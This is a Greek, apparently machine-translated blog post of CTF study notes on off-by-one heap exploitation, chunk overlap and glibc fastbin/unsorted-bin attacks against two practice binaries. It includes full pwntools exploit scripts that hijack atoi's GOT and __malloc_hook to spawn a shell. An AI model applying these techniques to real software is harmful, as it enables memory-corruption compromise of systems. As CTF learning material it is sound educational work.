Κοινή χρήση τεχνολογίας

Σχετικά με την εκμάθηση ξεχωριστά

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

Η βάση του pwn είναι ακόμα πολύ ρηχή. Απλώς καταγράφω λίγη από τη μαθησιακή μου εμπειρία.
Καθώς προχωρά η μελέτη, θα προστεθούν επιπλέον γνώσεις και ερωτήσεις.

Σημεία γνώσης

Εξαιρετικό υλικό μελέτης

Σύνοψη της εκμάθησης για το off από το ZIKH26

Επέκταση κομματιού και επικάλυψη | ctfwiki

Λίγη κατανόηση

Στενά συνδεδεμένο με το off-by-one είναι το Chunk Extend και το Overlapping που αναφέρθηκαν παραπάνω.
Αυτό αναφέρεται συχνά ως "επικαλυπτόμενα μπλοκ".
Γιατί να δημιουργήσετε αλληλοκαλυπτόμενα μπλοκ;
Για παράδειγμα, αν θέλουμε να ξαναγράψουμε τα πεδία κεφαλίδας ενός κομματιού, δηλαδή τα τμήματα prev_size και size, σίγουρα δεν θα μπορούμε να τα αλλάξουμε εφαρμόζοντας απευθείας.
Μια ιδέα είναι να κατασκευάσετε ένα λανθασμένο ψεύτικο κομμάτι.

παράδειγμα

[buu] hitcontraining_heapcreator

θέμα

Νομίζω ότι αυτή η ερώτηση είναι ένα καλό παράδειγμα για το πώς να χρησιμοποιήσετε το off-by-one. Οι ερωτήσεις δεν είναι πολύ δύσκολες και τα σημεία χρήσης είναι αρκετά έξυπνα.

Απομεταγλωττίστε για να βρείτε κενά,
εικόνα
Υπάρχει ένα τεχνητό off-by-one εδώ, και ένα ακόμη byte μπορεί να γραφτεί εδώ.

Επιστρέφοντας στην ανάθεση των θεμάτων,εικόνα
Αρχικά, εκχωρείται ένα κομμάτι μεγέθους 0x10 για την αποθήκευση ορισμένων πληροφοριών και, στη συνέχεια, εκχωρείται ένα κομμάτι για περιεχόμενο.
Θα είναι πολύ σαφές εάν κοιτάξετε τον εντοπισμό σφαλμάτων gdb εδώ.

Για παράδειγμα, η διάταξη μπλοκ σωρού μετά την προσθήκη(0x28,'0'),add(0x10,'1')
εικόνα

Μπορείτε να δείτε ότι κάθε φορά που προσθέτουμε, θα αποθηκεύουμε πρώτα ένα κομμάτι που αποθηκεύει πληροφορίες μπλοκ σωρών σε χαμηλή διεύθυνση και στη συνέχεια malloc ένα κομμάτι που αποθηκεύει περιεχόμενο.

Μετά παρατήρησα ότι οι λειτουργίες επεξεργασίας και εμφάνισης έχουν ολοκληρωθείΠληροφορίες μπλοκ σωρώνδομή σε "index", τότε αν θέλουμε να διαρρήξουμε libc, μπορούμε να βάλουμε τις πληροφορίες μπλοκ σωρού αυτού του κομματιού *content Το πεδίο τροποποιείται στη διεύθυνση του πίνακα got μιας συγκεκριμένης συνάρτησης, για παράδειγμα, εάν χρησιμοποιείται atoi σε αυτήν την ερώτηση, τότε το atoi_addr θα εκτυπωθεί κατά την εμφάνιση.

Αυτό περιλαμβάνει μια παρόμοια κατάσταση στο προηγούμενο "Little Understanding". .

Για παράδειγμα, αν το τροποποιήσουμε έτσι, μπορεί στην πραγματικότητα να προκαλέσει την επέκταση και την επικάλυψη των μπλοκ σωρού.
εικόνα

Ας μιλήσουμε για τη συγκεκριμένη χρήση παρακάτω.

  1. Πρώτα πρέπει να τροποποιήσουμε ένα μπλοκ σωρού "πληροφορίες αποθήκευσης".Μέγεθοςμέρος.
    Αυτό το βήμα μπορεί να επιτευχθεί μέσω μιας ευπάθειας ξεχωριστά στη στοίβα περιεχομένου πάνω από αυτήν τη στοίβα πληροφοριών.
  2. Στη συνέχεια ελευθερώνουμε το ευρετήριο του κομματιού που αντιστοιχεί σε αυτό το μπλοκ σωρού πληροφοριών.
  3. Αυτή τη στιγμή, σύμφωνα με την υλοποίηση του delete_heap
    εικόνα

Τόσο το μπλοκ σωρού πληροφοριών όσο και το μπλοκ σωρού περιεχομένου θα είναι δωρεάν, επομένως αυτή τη στιγμή υπάρχουν κάδοι δύο μεγεθών 0x20 και 0x40 σε fastbins.

εικόνα

  1. Αυτή τη στιγμή, προσθέτουμε ένα κομμάτι 0x30 και το fastbin 0x40 θα εφαρμοστεί ως μπλοκ στοίβας περιεχομένου και ένα μπλοκ στοίβας πληροφοριών 0x20, επομένως θα υποβληθεί αίτηση και για το δοχείο 0x20.

εικόνα

  1. Το βασικό σημείο αυτής της ερώτησης είναι ότιμπλοκ πληροφοριών Καθορίζεται το μέγεθος και το περιεχόμενο του αντίστοιχου κομματιού! Επομένως, τα περιεχόμενα του αντίστοιχου μπλοκ σωρού πληροφοριών μπορούν να αντικατασταθούν στο προηγούμενο βήμα του add(0x30). Με αυτόν τον τρόπο, το περιεχόμενο μπορεί να αλλάξει σε πίνακα atoi's got και το show(1) μπορεί να διαρρεύσει libc.
  2. Δεδομένου ότι η διεύθυνση περιεχομένου του chunk1 έχει αλλάξει, το edit(1) μπορεί να αλλάξει το περιεχόμενο του πίνακα got του atoi σε σύστημα και στη συνέχεια να στείλει "/bin/shx00" για να πάρει κέλυφος.

Φυσικά, υπάρχουν ορισμένες λεπτομέρειες, όπως η τελευταία αναφερόμενη επιλογή μεγέθους 0x18 και 0x28, και η ανάγκη κράτησης του περιεχομένου της στοίβας πληροφοριών κατά την τροποποίηση.Μέγεθοςπεδία (διαφορετικά η τελική επεξεργασία δεν θα έχει το μήκος για να γράψει για εσάς) και ούτω καθεξής.

Λήξη:

atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/shx00")


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

Υπάρχει πράγματι ένα άλλο βασικό σημείο σε αυτήν την ερώτηση, και ήταν επίσης το σημείο για το οποίο μπερδεύτηκα στην αρχή. Το αρχικό chunk0 add του EXP του Master ZIKH είναι 0x18 Στη δική μου πρακτική, η αλλαγή του σε 0x10 ή 0x20 δεν λειτούργησε, αλλά η αλλαγή του σε 0x28 λειτούργησε.
Ο εντοπισμός σφαλμάτων διαπίστωσε ότι όταν αλλάξουν σε 0x10, 0x20, τα δεδομένα χρήστη μας δεν θα ενεργοποιήσουν το επόμενο κομμάτι.prev_sizeτου.
εικόνα

Κατά την εκχώρηση 0x18, 0x28, κ.λπ., ο μηχανισμός ptmalloc2 θα επαναχρησιμοποιήσει το τμήμα prev_size του next_chunk.
εικόνα

εμμμ, μάλιστα, σε τελική ανάλυση, δεν είμαι ακόμα αρκετά εξοικειωμένος με το σωρό. Εξάλλου, κοιτάζοντας μόνο την εξήγηση του wiki, υπάρχουν τόσα πολλά σημεία γνώσης και οι λεπτομέρειες είναι περίπλοκες, καθιστώντας δύσκολη τη μνήμη. Φυσικά, το έχω συναντήσει στην πραγματική μάχη. Θα είναι πολύ καλύτερο αφού το διορθώσω και το καταλάβω ξανά.

[buu] roarctf_2019_easy_pwn

θέμα

Το ελάττωμα της ερώτησης είναι εδώ.εικόνα

Όταν το a2-a1==10 είναι στο if, δηλαδή όταν το μέγεθος που εισάγεται από την επεξεργασία είναι ακριβώς 10 μεγαλύτερο από το μέγεθος που προστέθηκε, υπάρχει ένα off-by-one.

Κατά προσέγγιση δομή κατανομής
εικόνα

Εναλλακτικά, χρησιμοποιήστε το τμήμα bss για να αποθηκεύσετε την εισαγωγή και τη χρήση του κομματιού.*content

Μπορούμε ακόμα να χρησιμοποιήσουμε off-by-one σε συνδυασμό με τα χαρακτηριστικά του μεγέθους 0x?8 επαναχρησιμοποίηση prev_size σε ψεύτικο prev_size και μέγεθος για ενεργοποίηση συγχώνευσης προώθησης (χαμηλή διεύθυνση)
εικόνα

Αυτή τη στιγμή, μπορείτε να δείτε ότι η συγχώνευση ενεργοποιείται από το free(2).
εικόνα

Αυτή τη στιγμή, αν προσθέσουμε(0x80) και μετά εμφανίσουμε(1), μπορούμε πραγματικά να εκτυπώσουμε την τιμή του main_arena+88.
εικόνα

Καταλαβαίνω ότι το add(0x80) εδώ είναι να χωρίσει το unsortedbin, έτσι ώστε ο δείκτης fd (main_arena+88) να μετακινηθεί στο τμήμα chunk1 που μπορεί να εμφανιστεί.

Σε αυτό το σημείο, η βασική διεύθυνση του libc διαρρέει.
Οι ακόλουθες λειτουργίες είναι σαν να περιλαμβάνουν πολλά αλληλοκαλυπτόμενα μπλοκ σωρού, οπότε ας ρίξουμε μια ματιά στον εντοπισμό σφαλμάτων βήμα προς βήμα.
Διάταξη σωρού κατά τη διαρροή libc
εικόνα

add(0x68)
εικόνα
(Κόψτε ένα κομμάτι από τον μη ταξινομημένο κάδο)

free(1)
(fastbin 0x70)
εικόνα

edit(2,p64(malloc_hook-0x23))
(Εδώ εκμεταλλευόμαστε το γεγονός ότι το chunk2 του 0x68 για το οποίο υποβλήθηκε αίτηση στο προηγούμενο βήμα επικαλύπτεται με το chunk1 που μόλις ελευθερώθηκε (το chunk1 υποβλήθηκε αίτηση στην αρχή))
εικόνα

add(0x68)
(Αίτηση για chunk1, είναι στην πραγματικότητα chunk2)
εικόνα

add(0x68)
(Υποβολή αίτησης για επιστροφή του fake_chunk στο malloc_hook-0x23)
εικόνα

Στη συνέχεια, πρέπει να χρησιμοποιήσετε το realloc για να προσαρμόσετε το πλαίσιο στοίβας και μπορείτε να αποκτήσετε το κέλυφος.

Τότε μπορώ να περάσω τοπικά, αλλά όχι εξ αποστάσεως.
Αφού κοίταξα το Master ZIKH's Exp, πρέπει να χρησιμοποιήσω το τοπικό
realloc = libcbase + libc.sym['realloc']Αλλάζω σεrealloc = libcbase + 0x846c0
Στη συνέχεια, πρέπει να αλλάξετε την τιμή του one_gadget
εικόνα

Αυτά τα δύο one_gadgets έχουν μια μετατόπιση προς το παρόν. (Μάθετε αργότερα)

Παίξτε τοπική Exp:

add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

τοπικός:
εικόνα

Ελάχιστα:
εικόνα


Συνοψίζοντας, είναι δύσκολο.